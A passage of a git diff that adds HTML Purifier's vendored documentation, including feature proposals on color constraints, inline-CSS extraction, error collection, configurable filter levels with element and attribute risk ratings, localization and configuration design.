+<dt><a href="dev-flush.html">Flushing the Purifier</a></dt>
+<dd>Discusses when to flush HTML Purifier's various caches.</dd>
+
+<dt><a href="dev-advanced-api.html">Advanced API</a></dt>
+<dd>Specification for HTML Purifier's advanced API for defining
+custom filtering behavior.</dd>
+
+<dt><a href="dev-config-schema.html">Config Schema</a></dt>
+<dd>Describes config schema framework in HTML Purifier.</dd>
+
+</dl>
+
+<h2>Proposals</h2>
+<p>Proposed features, as well as the associated rambling to get a clear
+objective in place before attempted implementation.</p>
+
+<dl>
+<dt><a href="proposal-colors.html">Colors</a></dt>
+<dd>Proposal to allow for color constraints.</dd>
+</dl>
+
+<h2>Reference</h2>
+<p>Miscellaneous essays, research pieces and other reference type material
+that may not directly discuss HTML Purifier.</p>
+
+<dl>
+<dt><a href="ref-devnetwork.html">DevNetwork Credits</a></dt>
+<dd>Credits and links to DevNetwork forum topics.</dd>
+</dl>
+
+<h2>Internal memos</h2>
+
+<p>Plaintext documents that are more for use by active developers of
+the code. They may be upgraded to HTML files or stay as TXT scratchpads.</p>
+
+<table class="table">
+
+<thead><tr>
+ <th style="width:10%">Type</th>
+ <th style="width:20%">Name</th>
+ <th>Description</th>
+</tr></thead>
+
+<tbody>
+
+<tr>
+ <td>End-user</td>
+ <td><a href="enduser-overview.txt">Overview</a></td>
+ <td>High level overview of the general control flow (mostly obsolete).</td>
+</tr>
+
+<tr>
+ <td>End-user</td>
+ <td><a href="enduser-security.txt">Security</a></td>
+ <td>Common security issues that may still arise (half-baked).</td>
+</tr>
+
+<tr>
+ <td>Development</td>
+ <td><a href="dev-config-bcbreaks.txt">Config BC Breaks</a></td>
+ <td>Backwards-incompatible changes in HTML Purifier 4.0.0</td>
+</tr>
+
+<tr>
+ <td>Development</td>
+ <td><a href="dev-code-quality.txt">Code Quality Issues</a></td>
+ <td>Enumerates code quality issues and places that need to be refactored.</td>
+</tr>
+
+<tr>
+ <td>Proposal</td>
+ <td><a href="proposal-filter-levels.txt">Filter levels</a></td>
+ <td>Outlines details of projected configurable level of filtering.</td>
+</tr>
+
+<tr>
+ <td>Proposal</td>
+ <td><a href="proposal-language.txt">Language</a></td>
+ <td>Specification of I18N for error messages derived from MediaWiki (half-baked).</td>
+</tr>
+
+<tr>
+ <td>Proposal</td>
+ <td><a href="proposal-new-directives.txt">New directives</a></td>
+ <td>Assorted configuration options that could be implemented.</td>
+</tr>
+
+<tr>
+ <td>Proposal</td>
+ <td><a href="proposal-css-extraction.txt">CSS extraction</a></td>
+ <td>Taking the inline CSS out of documents and into <code>style</code>.</td>
+</tr>
+
+<tr>
+ <td>Reference</td>
+ <td><a href="ref-content-models.txt">Handling Content Model Changes</a></td>
+ <td>Discusses how to tidy up content model changes using custom ChildDef classes.</td>
+</tr>
+
+<tr>
+ <td>Reference</td>
+ <td><a href="ref-proprietary-tags.txt">Proprietary tags</a></td>
+ <td>List of vendor-specific tags we may want to transform to W3C compliant markup.</td>
+</tr>
+
+<tr>
+ <td>Reference</td>
+ <td><a href="ref-html-modularization.txt">Modularization of HTMLDefinition</a></td>
+ <td>Provides a high-level overview of the concepts behind HTMLModules.</td>
+</tr>
+
+<tr>
+ <td>Reference</td>
+ <td><a href="ref-whatwg.txt">WHATWG</a></td>
+ <td>How WHATWG plays into what we need to do.</td>
+</tr>
+
+</tbody>
+
+</table>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-colors.html b/vendor/ezyang/htmlpurifier/docs/proposal-colors.html
new file mode 100644
index 000000000..657633882
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-colors.html
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Proposal to allow for color constraints in HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Proposal: Colors - HTML Purifier</title>
+
+</head><body>
+
+<h1 class="subtitled">Colors</h1>
+<div class="subtitle">Hammering some sense into those color-blind newbies</div>
+
+<div id="filing">Filed under Proposals</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>Your website probably has a color-scheme.
+<span style="color:#090; background:#FFF;">Green on white</span>,
+<span style="color:#A0F; background:#FF0;">purple on yellow</span>,
+whatever. When you give users the ability to style their content, you may
+want them to keep in line with your styling. If you're website is all
+about light colors, you don't want a user to come in and vandalize your
+page with a deep maroon.</p>
+
+<p>This is an extremely silly feature proposal, but I'm writing it down anyway.</p>
+
+<p>What if the user could constrain the colors specified in inline styles? You
+are only allowed to use these shades of dark green for text and these shades
+of light yellow for the background. At the very least, you could ensure
+that we did not have pale yellow on white text.</p>
+
+<h2>Implementation issues</h2>
+
+<ol>
+<li>Requires the color attribute definition to know, currently, what the text
+and background colors are. This becomes difficult when classes are thrown
+into the mix.</li>
+<li>The user still has to define the permissible colors, how does one do
+something like that?</li>
+</ol>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-config.txt b/vendor/ezyang/htmlpurifier/docs/proposal-config.txt
new file mode 100644
index 000000000..4e031c586
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-config.txt
@@ -0,0 +1,23 @@
+
+Configuration
+
+Configuration is documented on a per-use case: if a class uses a certain
+value from the configuration object, it has to define its name and what the
+value is used for. This means decentralized configuration declarations that
+are nevertheless error checking and a centralized configuration object.
+
+Directives are divided into namespaces, indicating the major portion of
+functionality they cover (although there may be overlaps). Please consult
+the documentation in ConfigDef for more information on these namespaces.
+
+Since configuration is dependant on context, internal classes require a
+configuration object to be passed as a parameter. (They also require a
+Context object). A majority of classes do not need the config object,
+but for those who do, it is a lifesaver.
+
+Definition objects are complex datatypes influenced by their respective
+directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS).
+If any of these directives is updated, HTML Purifier forces the definition
+to be regenerated.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt b/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt
new file mode 100644
index 000000000..9933c96b8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt
@@ -0,0 +1,34 @@
+
+Extracting inline CSS from HTML Purifier
+ voodoofied: Assigning semantics to elements
+
+Sander Tekelenburg brought to my attention the poor programming style of
+inline CSS in HTML documents. In an ideal world, we wouldn't be using inline
+CSS at all: everything would be assigned using semantic class attributes
+from an external stylesheet.
+
+With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users
+can specify a style element which gets extracted from the user-submitted HTML, which
+the application can place in the head of the HTML document). But there still
+is the issue of inline CSS that refuses to go away.
+
+The basic idea behind this feature is assign every element a unique identifier,
+and then move all of the CSS data to a style-sheet. This HTML:
+
+<div style="text-align:center">Big <span style="color:red;">things</span>!</div>
+
+into
+
+<div id="hp-12345">Big <span id="hp-12346">things</span>!</div>
+
+and a stylesheet that is:
+
+#hp-12345 {text-align:center;}
+#hp-12346 {color:red;}
+
+Beyond that, HTML Purifier can magically merge common CSS values together,
+and a whole manner of other heuristic things. HTML Purifier should also
+make it easy for an admin to re-style the HTML semantically. Speed is not
+an issue. Also, better WYSIWYG editors are needed.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt b/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt
new file mode 100644
index 000000000..87cb2ac19
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt
@@ -0,0 +1,211 @@
+Considerations for ErrorCollection
+
+Presently, HTML Purifier takes a code-execution centric approach to handling
+errors. Errors are organized and grouped according to which segment of the
+code triggers them, not necessarily the portion of the input document that
+triggered the error. This means that errors are pseudo-sorted by category,
+rather than location in the document.
+
+One easy way to "fix" this problem would be to re-sort according to line number.
+However, the "category" style information we derive from naively following
+program execution is still useful. After all, each of the strategies which
+can report errors still process the document mostly linearly. Furthermore,
+not only do they process linearly, but the way they pass off operations to
+sub-systems mirrors that of the document. For example, AttrValidator will
+linearly proceed through elements, and on each element will use AttrDef to
+validate those contents. From there, the attribute might have more
+sub-components, which have execution passed off accordingly.
+
+In fact, each strategy handles a very specific class of "error."
+
+RemoveForeignElements - element tokens
+MakeWellFormed - element token ordering
+FixNesting - element token ordering
+ValidateAttributes - attributes of elements
+
+The crucial point is that while we care about the hierarchy governing these
+different errors, we *don't* care about any other information about what actually
+happens to the elements. This brings up another point: if HTML Purifier fixes
+something, this is not really a notice/warning/error; it's really a suggestion
+of a way to fix the aforementioned defects.
+
+In short, the refactoring to take this into account kinda sucks.
+
+Errors should not be recorded in order that they are reported. Instead, they
+should be bound to the line (and preferably element) in which they were found.
+This means we need some way to uniquely identify every element in the document,
+which doesn't presently exist. An easy way of adding this would be to track
+line columns. An important ramification of this is that we *must* use the
+DirectLex implementation.
+
+ 1. Implement column numbers for DirectLex [DONE!]
+ 2. Disable error collection when not using DirectLex [DONE!]
+
+Next, we need to re-orient all of the error declarations to place CurrentToken
+at utmost important. Since this is passed via Context, it's not always clear
+if that's available. ErrorCollector should complain HARD if it isn't available.
+There are some locations when we don't have a token available. These include:
+
+ * Lexing - this can actually have a row and column, but NOT correspond to
+ a token
+ * End of document errors - bump this to the end
+
+Actually, we *don't* have to complain if CurrentToken isn't available; we just
+set it as a document-wide error. And actually, nothing needs to be done here.
+
+Something interesting to consider is whether or not we care about the locations
+of attributes and CSS properties, i.e. the sub-objects that compose these things.
+In terms of consistency, at the very least attributes should have column/line
+numbers attached to them. However, this may be overkill, as attributes are
+uniquely identifiable. You could go even further, with CSS, but they are also
+uniquely identifiable.
+
+Bottom-line is, however, this information must be available, in form of the
+CurrentAttribute and CurrentCssProperty (theoretical) context variables, and
+it must be used to organize the errors that the sub-processes may throw.
+There is also a hierarchy of sorts that may make merging this into one context
+variable more sense, if it hadn't been for HTML's reasonably rigid structure.
+A CSS property will never contain an HTML attribute. So we won't ever get
+recursive relations, and having multiple depths won't ever make sense. Leave
+this be.
+
+We already have this information, and consequently, using start and end is
+*unnecessary*, so long as the context variables are set appropriately. We don't
+care if an error was thrown by an attribute transform or an attribute definition;
+to the end user these are the same (for a developer, they are different, but
+they're better off with a stack trace (which we should add support for) in such
+cases).
+
+ 3. Remove start()/end() code. Don't get rid of recursion, though [DONE]
+ 4. Setup ErrorCollector to use context information to setup hierarchies.
+ This may require a different internal format. Use objects if it gets
+ complex. [DONE]
+
+ ASIDE
+ More on this topic: since we are now binding errors to lines
+ and columns, a particular error can have three relationships to that
+ specific location:
+
+ 1. The token at that location directly
+ RemoveForeignElements
+ AttrValidator (transforms)
+ MakeWellFormed
+ 2. A "component" of that token (i.e. attribute)
+ AttrValidator (removals)
+ 3. A modification to that node (i.e. contents from start to end
+ token) as a whole
+ FixNesting
+
+ This needs to be marked accordingly. In the presentation, it might
+ make sense keep (3) separate, have (2) a sublist of (1). (1) can
+ be a closing tag, in which case (3) makes no sense at all, OR it
+ should be related with its opening tag (this may not necessarily
+ be possible before MakeWellFormed is run).
+
+ So, the line and column counts as our identifier, so:
+
+ $errors[$line][$col] = ...
+
+ Then, we need to identify case 1, 2 or 3. They are identified as
+ such:
+
+ 1. Need some sort of semaphore in RemoveForeignElements, etc.
+ 2. If CurrentAttr/CurrentCssProperty is non-null
+ 3. Default (FixNesting, MakeWellFormed)
+
+ One consideration about (1) is that it usually is actually a
+ (3) modification, but we have no way of knowing about that because
+ of various optimizations. However, they can probably be treated
+ the same. The other difficulty is that (3) is never a line and
+ column; rather, it is a range (i.e. a duple) and telling the user
+ the very start of the range may confuse them. For example,
+
+ <b>Foo<div>bar</div></b>
+ ^ ^
+
+ The node being operated on is <b>, so the error would be assigned
+ to the first caret, with a "node reorganized" error. Then, the
+ ChildDef would have submitted its own suggestions and errors with
+ regard to what's going in the internals. So I suppose this is
+ ok. :-)
+
+ Now, the structure of the earlier mentioned ... would be something
+ like this:
+
+ object {
+ type = (token|attr|property),
+ value, // appropriate for type
+ errors => array(),
+ sub-errors = [recursive],
+ }
+
+ This helps us keep things agnostic. It is also sufficiently complex
+ enough to warrant an object.
+
+So, more wanking about the object format is in order. The way HTML Purifier is
+currently setup, the only possible hierarchy is:
+
+ token -> attr -> css property
+
+These relations do not exist all of the time; a comment or end token would not
+ever have any attributes, and non-style attributes would never have CSS properties
+associated with them.
+
+I believe that it is worth supporting multiple paths. At some point, we might
+have a hierarchy like:
+
+ * -> syntax
+ -> token -> attr -> css property
+ -> url
+ -> css stylesheet <style>
+
+et cetera. Now, one of the practical implications of this is that every "node"
+on our tree is well-defined, so in theory it should be possible to either 1.
+create a separate class for each error struct, or 2. embed this information
+directly into HTML Purifier's token stream. Embedding the information in the
+token stream is not a terribly good idea, since tokens can be removed, etc.
+So that leaves us with 1... and if we use a generic interface we can cut down
+on a lot of code we might need. So let's leave it like this.
+
+~~~~
+
+Then we setup suggestions.
+
+ 5. Setup a separate error class which tells the user any modifications
+ HTML Purifier made.
+
+Some information about this:
+
+Our current paradigm is to tell the user what HTML Purifier did to the HTML.
+This is the most natural mode of operation, since that's what HTML Purifier
+is all about; it was not meant to be a validator.
+
+However, most other people have experience dealing with a validator. In cases
+where HTML Purifier unambiguously does the right thing, simply giving the user
+the correct version isn't a bad idea, but problems arise when:
+
+- The user has such bad HTML we do something odd, when we should have just
+ flagged the HTML as an error. Such examples are when we do things like
+ remove text from directly inside a <table> tag. It was probably meant to
+ be in a <td> tag or be outside the table, but we're not smart enough to
+ realize this so we just remove it. In such a case, we should tell the user
+ that there was foreign data in the table, but then we shouldn't "demand"
+ the user remove the data; it's more of a "here's a possible way of
+ rectifying the problem"
+
+- Giving line context for input is hard enough, but feasible; giving output
+ line context will be extremely difficult due to shifting lines; we'd probably
+ have to track what the tokens are and then find the appropriate out context
+ and it's not guaranteed to work etc etc etc.
+
+````````````
+
+Don't forget to spruce up output.
+
+ 6. Output needs to automatically give line and column numbers, basically
+ "at line" on steroids. Look at W3C's output; it's ok. [PARTIALLY DONE]
+
+ - We need a standard CSS to apply (check demo.css for some starting
+ styling; some buttons would also be hip)
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-filter-levels.txt b/vendor/ezyang/htmlpurifier/docs/proposal-filter-levels.txt
new file mode 100644
index 000000000..b78b898b4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-filter-levels.txt
@@ -0,0 +1,137 @@
+
+Filter Levels
+ When one size *does not* fit all
+
+It makes little sense to constrain users to one set of HTML elements and
+attributes and tell them that they are not allowed to mold this in
+any fashion. Many users demand to be able to custom-select which elements
+and attributes they want. This is fine: because HTML Purifier keeps close
+track of what elements are safe to use, there is no way for them to
+accidently allow an XSS-able tag.
+
+However, combing through the HTML spec to make your own whitelist can
+be a daunting task. HTML Purifier ought to offer pre-canned filter levels
+that amateur users can select based on what they think is their use-case.
+
+Here are some fuzzy levels you could set:
+
+1. Comments - Wordpress recommends a, abbr, acronym, b, blockquote, cite,
+ code, em, i, strike, strong; however, you could get away with only a, em and
+ p; also having blockquote and pre tags would be helpful.
+2. BBCode - Emulate the usual tagset for forums: b, i, img, a, blockquote,
+ pre, div, span and h[2-6] (the last three are for specially formatted
+ posts, div and span require associated classes or inline styling enabled
+ to be useful)
+3. Pages - As permissive as possible without allowing XSS. No protection
+ against bad design sense, unfortunantely. Suitable for wiki and page
+ environments. (probably what we have now)
+4. Lint - Accept everything in the spec, a Tidy wannabe. (This probably won't
+ get implemented as it would require routines for things like <object>
+ and friends to be implemented, which is a lot of work for not a lot of
+ benefit)
+
+One final note: when you start axing tags that are more commonly used, you
+run the risk of accidentally destroying user data, especially if the data
+is incoming from a WYSIWYG editor that hasn't been synced accordingly. This may
+make forbidden element to text transformations desirable (for example, images).
+
+
+
+== Element Risk Analysis ==
+
+Although none of the currently supported elements presents a security
+threat per-say, some can cause problems for page layouts or be
+extremely complicated.
+
+Legend:
+ [danger level] - regular tags / uncommon tags ~ deprecated tags
+ [danger level]* - rare tags
+
+1 - blockquote, code, em, i, p, tt / strong, sub, sup
+1* - abbr, acronym, bdo, cite, dfn, kbd, q, samp
+2 - b, br, del, div, pre, span / ins, s, strike ~ u
+3 - h2, h3, h4, h5, h6 ~ center
+4 - h1, big ~ font
+5 - a
+7 - area, map
+
+These are special use tags, they should be enabled on a blanket basis.
+
+Lists - dd, dl, dt, li, ol, ul ~ menu, dir
+Tables - caption, table, td, th, tr / col, colgroup, tbody, tfoot, thead
+
+Forms - fieldset, form, input, lable, legend, optgroup, option, select, textarea
+XSS - noscript, object, script ~ applet
+Meta - base, basefont, body, head, html, link, meta, style, title
+Frames - frame, frameset, iframe
+
+And tag specific notes:
+
+a - general problems involving linkspam
+b - too much bold is bad, typographically speaking bold is discouraged
+br - often misused
+center - CSS, usually no legit use
+del - only useful in editing context
+div - little meaning in certain contexts i.e. blog comment
+h1 - usually no legit use, as header is already set by application
+h* - not needed in blog comments
+hr - usually not necessary in blog comments
+img - could be extremely undesirable if linking to external pics (CSRF, goatse)
+pre - could use formatting, only useful in code contexts
+q - very little support
+s - transform into span with styling or del?
+small - technically presentational
+span - depends on attribute allowances
+sub, sup - specialized
+u - little legit use, prefer class with text-decoration
+
+Based on the riskiness of the items, we may want to offer %HTML.DisableImages
+attribute and put URI filtering higher up on the priority list.
+
+
+== Attribute Risk Analysis ==
+
+We actually have a suprisingly small assortment of allowed attributes (the
+rest are deprecated in strict, and thus we opted not to allow them, even
+though our output is XHTML Transitional by default.)
+
+Required URI - img.alt, img.src, a.href
+Medium risk - *.class, *.dir
+High risk - img.height, img.width, *.id, *.style
+
+Table - colgroup/col.span, td/th.rowspan, td/th.colspan
+Uncommon - *.title, *.lang, *.xml:lang
+Rare - td/th.abbr, table.summary, {table}.charoff
+Rare URI - del.cite, ins.cite, blockquote.cite, q.cite, img.longdesc
+Presentational - {table}.align, {table}.valign, table.frame, table.rules,
+ table.border
+Partially presentational - table.cellpadding, table.cellspacing,
+ table.width, col.width, colgroup.width
+
+
+== CSS Risk Analysis ==
+
+Currently, there is no support for fine-grained "allowed CSS" specification,
+mainly because I'm lazy, partially because no one has asked for it. However,
+this will be added eventually.
+
+There are certain CSS elements that are extremely useful inline, but then
+as you get to more presentation oriented styling it may not always be
+appropriate to inline them.
+
+Useful - clear, float, border-collapse, caption-side
+
+These CSS properties can break layouts if used improperly. We have excluded
+any CSS properties that are not currently implemented (such as position).
+
+Dangerous, can go outside container - float
+Easy to abuse - font-size, font-family (font), width
+Colored - background-color (background), border-color (border), color
+ (see proposal-colors.html)
+Dramatic - border, list-style-position (list-style), margin, padding,
+ text-align, text-indent, text-transform, vertical-align, line-height
+
+Dramatic elements substantially change the look of text in ways that should
+probably have been reserved to other areas.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-language.txt b/vendor/ezyang/htmlpurifier/docs/proposal-language.txt
new file mode 100644
index 000000000..149701cd3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-language.txt
@@ -0,0 +1,64 @@
+We are going to model our I18N/L10N off of MediaWiki's system. Their's is
+obviously quite complicated, so we're going to simplify it a bit for our needs.
+
+== Caching ==
+
+MediaWiki has lots of caching mechanisms built in, which make the code somewhat
+more difficult to understand. Before doing any loading, MediaWiki will check
+the following places to see if we can be lazy:
+
+1. $mLocalisationCache[$code] - just a variable where it may have been stashed
+2. serialized/$code.ser - compiled serialized language file
+3. Memcached version of file (with expiration checking)
+
+Expiration checking consists of by ensuring all dependencies have filemtime
+that match the ones bundled with the cached copy. Similar checking could be
+implemented for serialized versions, as it seems that they are not updated
+until manually recompiled.
+
+== Behavior ==
+
+Things that are localizable:
+
+- Weekdays (and abbrev)
+- Months (and abbrev)
+- Bookstores
+- Skin names
+- Date preferences / Custom date format
+- Default date format
+- Default user option overrides
+-+ Language names
+- Timezones
+-+ Character encoding conversion via iconv
+- UpperLowerCase first (needs casemaps for some)
+- UpperLowerCase
+- Uppercase words
+- Uppercase word breaks
+- Case folding
+- Strip punctuation for MySQL search
+- Get first character
+-+ Alternate encoding
+-+ Recoding for edit (and then recode input)
+-+ RTL
+-+ Direction mark character depending on RTL
+-? Arrow depending on RTL
+- Languages where italics cannot be used
+-+ Number formatting (commafy, transform digits, transform separators)
+- Truncate (multibyte)
+- Grammar conversions for inflected languages
+- Plural transformations
+- Formatting expiry times
+- Segmenting for diffs (Chinese)
+- Convert to variants of language
+- Language specific user preference options
+- Link trails [[foo]]bar
+-+ Language code (RFC 3066)
+
+Neat functionality:
+
+- I18N sprintfDate
+- Roman numeral formatting
+
+Items marked with a + likely need to be addressed by HTML Purifier
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-new-directives.txt b/vendor/ezyang/htmlpurifier/docs/proposal-new-directives.txt
new file mode 100644
index 000000000..f54ee2d8d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-new-directives.txt
@@ -0,0 +1,44 @@
+
+Configuration Ideas
+
+Here are some theoretical configuration ideas that we could implement some
+time. Note the naming convention: %Namespace.Directive. If you want one
+implemented, give us a ring, and we'll move it up the priority chain.
+
+%Attr.RewriteFragments - if there's %Attr.IDPrefix we may want to transparently
+ rewrite the URLs we parse too. However, we can only do it when it's a pure
+ anchor link, so it's not foolproof
+
+%Attr.ClassBlacklist,
+%Attr.ClassWhitelist,
+%Attr.ClassPolicy - determines what classes are allowed. When
+ %Attr.ClassPolicy is set to Blacklist, only allow those not in
+ %Attr.ClassBlacklist. When it's Whitelist, only allow those in
+ %Attr.ClassWhitelist.
+
+%Attr.MaxWidth,
+%Attr.MaxHeight - caps for width and height related checks.
+ (the hack in Pixels for an image crashing attack could be replaced by this)
+
+%URI.AddRelNofollow - will add rel="nofollow" to all links, preventing the
+ spread of ill-gotten pagerank
+
+%URI.HostBlacklistRegex - regexes that if matching the host are disallowed
+%URI.HostWhitelist - domain names that are excluded from the host blacklist
+%URI.HostPolicy - determines whether or not its reject all and then whitelist
+ or allow all in then do specific blacklists with whitelist intervening.
+ 'DenyAll' or 'AllowAll' (default)
+
+%URI.DisableIPHosts - URIs that have IP addresses for hosts are disallowed.
+ Be sure to also grab unusual encodings (dword, hex and octal), which may
+ be currently be caught by regular DNS
+%URI.DisableIDN - Disallow raw internationalized domain names. Punycode
+ will still be permitted.
+
+%URI.ConvertUnusualIPHosts - transform dword/hex/octal IP addresses to the
+ regular form
+%URI.ConvertAbsoluteDNS - Remove extra dots after host names that trigger
+ absolute DNS. While this is actually the preferred method according to
+ the RFC, most people opt to use a relative domain name relative to . (root).
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-plists.txt b/vendor/ezyang/htmlpurifier/docs/proposal-plists.txt
new file mode 100644
index 000000000..eef8ade61
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/proposal-plists.txt
@@ -0,0 +1,218 @@
+THE UNIVERSAL DESIGN PATTERN: PROPERTIES
+Steve Yegge
+
+Implementation:
+ get(name)
+ put(name, value)
+ has(name)
+ remove(name)
+ iteration, with filtering [this will be our namespaces]
+ parent
+
+Representations:
+ - Keys are strings
+ - It's nice to not need to quote keys (if we formulate our own language,
+ consider this)
+ - Property not present representation (key missing)
+ - Frequent removal/re-add may have null help. If null is valid, use
+ another value. (PHP semantics are weird here)
+
+Data structures:
+ - LinkedHashMap is wonderful (O(1) access and maintains order)
+ - Using a special property that points to the parent is usual
+ - Multiple inheritance possible, need rules for which to lookup first
+ - Iterative inheritance is best
+ - Consider performance!
+
+Deletion
+ - Tricky problem with inheritance
+ - Distinguish between "not found" and "look in my parent for the property"
+ [Maybe HTML Purifier won't allow deletion]
+
+Read/write asymmetry (it's correct!)
+
+Read-only plists
+ - Allow ability to freeze [this is what we have already]
+ - Don't overuse it
+
+Performance:
+ - Intern strings (PHP does this already)
+ - Don't be case-insensitive
+ - If all properties in a plist are known a-priori, you can use a "perfect"
+ hash function. Often overkill.
+ - Copy-on-read caching "plundering" reduces lookup, but uses memory and can
+ grow stale. Use as last resort.
+ - Refactoring to fields. Watch for API compatibility, system complexity,
+ and lack of flexibility.
+ - Refrigerator: external data-structure to hold plists
+
+Transient properties:
+ [Don't need to worry about this]
+ - Use a separate plist for transient properties
+ - Non-numeric override; numeric should ADD
+ - Deletion: removeTransientProperty() and transientlyRemoveProperty()
+
+Persistence:
+ - XML/JSON are good
+ - Text-based is good for readability, maintainability and bootstrapping
+ - Compressed binary format for network transport [not necessary]
+ - RDBMS or XML database
+
+Querying: [not relevant]
+ - XML database is nice for XPath/XQuery
+ - jQuery for JSON
+ - Just load it all into a program
+
+Backfills/Data integrity:
+ - Use usual methods
+ - Lazy backfill is a nice hack
+
+Type systems:
+ - Flags: ReadOnly, Permanent, DontEnum
+ - Typed properties isn't that useful [It's also Not-PHP]
+ - Seperate meta-list of directive properties IS useful
+ - Duck typing is useful for systems designed fully around properties pattern
+
+Trade-off:
+ + Flexibility
+ + Extensibility
+ + Unit-testing/prototype-speed
+ - Performance
+ - Data integrity
+ - Navagability/Query-ability
+ - Reversability (hard to go back)
+
+HTML Purifier
+
+We are not happy with our current system of defining configuration directives,
+because it has become clear that things will get a lot nicer if we allow
+multiple namespaces, and there are some features that naturally lend themselves
+to inheritance, which we do not really support well.
+
+One of the considered implementation changes would be to go from a structure
+like:
+
+array(
+ 'Namespace' => array(
+ 'Directive' => 'val1',
+ 'Directive2' => 'val2',
+ )
+)
+
+to:
+
+array(
+ 'Namespace.Directive' => 'val1',
+ 'Namespace.Directive2' => 'val2',
+)
+
+The below implementation takes more memory, however, and it makes it a bit
+complicated to grab all values from a namespace.
+
+The alternate implementation choice is to allow nested plists. This keeps
+iteration easy, but is problematic for inheritance (it would be difficult
+to distinguish a plist from an array) and retrieval (when specifying multiple
+namespaces we would need some multiple de-referencing).
+
+----
+
+We can bite the performance hit, and just do iteration with filter
+(the strncmp call should be relatively cheap). Then, users should be able
+to optimize doing something like:
+
+$config = HTMLPurifier_Config::createDefault();
+if (!file_exists('config.php')) {
+ // set up $config
+ $config->save('config.php');
+} else {
+ $config->load('config.php');
+}
+
+Or maybe memcache, or something. This means that "// set up $config" must
+not have any dynamic parts, or the user has to invalidate the cache when
+they do update it. We have to think about this a little more carefully; the
+file call might be more expensive.
+
+----
+
+This might get expensive, however, when we actually care about iterating
+over the configuration and want the actual values. So what about nesting the
+lists?
+
+"ns.sub.directive" => values['ns']['sub']['directive']
+
+We can distinguish between plists and arrays by using ArrayObjects for the
+plists, and regular arrays for the arrays? Alternatively, use ArrayObjects
+for the arrays, and regular arrays for the plists.
+
+----
+
+Implementation demands, and what has caused them:
+
+1. DefinitionCache, the HTML, CSS and URI namespaces have caches attached to them
+ Results:
+ - getBatchSerial()
+ - getBatch() : in general, the ability to traverse just a namespace
+
+2. AutoFormat/Filter, this is a plugin architecture, directives not hard-coded
+ - getBatch()
+
+3. Configuration form
+ - Namespaces used to organize directives
+
+Other than that, we have a pure plist. PERHAPS we should maintain separate things
+for these different demands.
+
+Issue 2: Directives for configuring the plugins are regular plists, but
+when enabling them, while it's "plist-ish", what you're really doing is adding
+them to an array of "autoformatters"/"filters" to enable. We can setup
+magic BC as well as in the new interface, but there should also be an
+add('AutoFormat', 'AutoParagraph'); which does the right thing.
+
+One thing to consider is whether or not inheritance rules will apply to these.
+I'd say yes. That means that they're still plisty, in fact, the underlying
+implementation will probably be a plist. However, they will get their OWN
+plists, and will NOT support nesting.
+
+Issue 1: Our current implementation is generally not efficient; md5(serialize($foo))
+is pretty expensive. So, I don't think there will be any problems if it
+gets "less" efficient, as long as we give users a properly fast alternative;
+DefinitionRev gives us a way to do this, by simply telling the user they must
+update it whenever they update Configuration directives as well. (There are
+obvious BC concerns here).
+
+In such a case, we simply iterate over our plist (performing full retrievals
+for each value), grab the entries we care about, and then serialize and hash.
+It's going to be slow either way, due to the ability of plists to inherit.
+If we ksort(), we don't have to traverse the entire array, however, the
+cost of a ksort() call may not be worth it.
+
+At this point, last time, I started worrying about the performance implications
+of allowing inheritance, and wondering whether or not I wanted to squash
+the plist. At first blush, our code might be under the assumption that
+accessing properties is cheap; but actually we prefer to copy out the value
+into a member variable if it's going to be used many times. With this is mind
+I don't think CPU consumption from a few nested function calls is going to
+be a problem. We *are* going to enforce a function only interface.
+
+The next issue at hand is how we're going to manage the "special" plists,
+which should still be able to be inherited. Basically, it means that multiple
+plists would be attached to the configuration object, which is not the
+best for memory performance. The alternative is to keep them all in one
+big plist, and then eat the one-time cost of traversing the entire plist
+to grab the appropriate values.
+
+I think at this point we can write the generic interface, and then set up separate
+plists if that ends up being necessary for performance (it probably won't.) Now
+lets code our generic plist implementation.
+
+----
+
+Iterating over the plist presents some problems. The way we've chosen to solve
+this is to squash all of the parents.
+
+----
+
+But I don't need iteration.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/ref-content-models.txt b/vendor/ezyang/htmlpurifier/docs/ref-content-models.txt
new file mode 100644
index 000000000..19f84d526
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/ref-content-models.txt
@@ -0,0 +1,50 @@
+
+Handling Content Model Changes
+
+
+1. Context
+
